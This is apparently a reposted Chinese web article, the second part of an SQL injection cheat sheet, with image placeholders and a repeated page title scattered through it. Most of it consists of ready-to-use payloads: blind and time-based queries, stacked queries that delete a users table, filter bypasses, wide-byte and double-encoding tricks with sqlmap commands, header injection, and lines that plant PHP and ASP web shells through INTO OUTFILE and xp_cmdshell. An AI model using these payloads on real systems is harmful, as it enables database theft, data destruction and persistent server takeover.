这可能是最全的SQL注入总结,很有用( 二 )

查询字段内容;
length((select username from security.users limit 0,1))>10ascii(mid((select username from security.user limit 0,1),1,1))>100将查询到的ASCII码放到mysql中查询 。
举例:select char(39);

这可能是最全的SQL注入总结,很有用

文章插图
 
 延时盲注利用sleep(3)和if(1=2,1,0)及case进行延时注入,示例:
select * from user where id='1' or sleep(3) %23这个没什么好说的
select * from user where id= 1 and if(length(version())>10,sleep(3),0);如果长度大于10,则睡3秒,其他则0秒
select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;case定义条件,when 后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒 。
多语句注入多语句意思就是可以执行多个语句,利用分号进行隔开
示例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+id=1';select if(length(user(),1,1)>1,sleep(3),1) %23';select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23内联注入举例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3利用别名:
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id) getshell【这可能是最全的SQL注入总结,很有用】id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+也可使用dumpfile进行写入 。
outfile和dumpfile的区别:
outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件 。dumpfile只能执行一行数据 。
数据库写入:
exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:www\uploadFiles2019-11404.asp"'宽字节注入当编码位gbk时,%df%27或%81%27数据为空
就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符反斜杠,闭合之后页面恢复正常,存在宽字节注入
这可能是最全的SQL注入总结,很有用

文章插图
 
测试出来就可以使用sqlmap跑了,23333
加*构造注入点(比-p更稳定),让sqlmap对构造注入点进行注入攻击(*优先级更高)
宽字节防御:
这可能是最全的SQL注入总结,很有用

文章插图
 
第10行代码必须和第24行必须同时使用,要么就更换编码格式
二次编码注入代码中有urldecode() 函数
%2527 先解码成%27再解码成'单引号
sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"-prefix为设置前缀 -suffix为设置后缀
设置后缀,防止sqlmap使用内联注
使用自带的脚本进行注入chardoubleencode.py
这可能是最全的SQL注入总结,很有用

文章插图
 
 图片上传sql注入猜结构,为时间戳加文件名
这可能是最全的SQL注入总结,很有用

文章插图
 

这可能是最全的SQL注入总结,很有用

文章插图
 
替换and sleep(3) 为*进行salmap
 二次注入abc' 数据经过addslashes过滤,单引号前面添加反斜杠abc',但传到数据库的数据还是abc'
假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test',接下来访问xxx.php?username=test',页面返回id=22;
接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误 。
访问xxx.php?id=test' union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值 。
 XFF头注入update user set loat_loginip = '8.8.8.8' where id =1 and sleep(5) #' where username = 'zs';id根据网站用户量取一个中间值,测试是否有注入,利用插件设置XFF头,如果网站不报错,可尝试此注入;
X-Forward-For:127.0.0.1' select 1,2,user()
这可能是最全的SQL注入总结,很有用

文章插图
 
 User-Agent请求头注入
这可能是最全的SQL注入总结,很有用

文章插图
 
 DNS外带日志示例外带平台 :xip.io ceye.io
MSSQL查询当前数据库;
这可能是最全的SQL注入总结,很有用

文章插图
 

这可能是最全的SQL注入总结,很有用


推荐阅读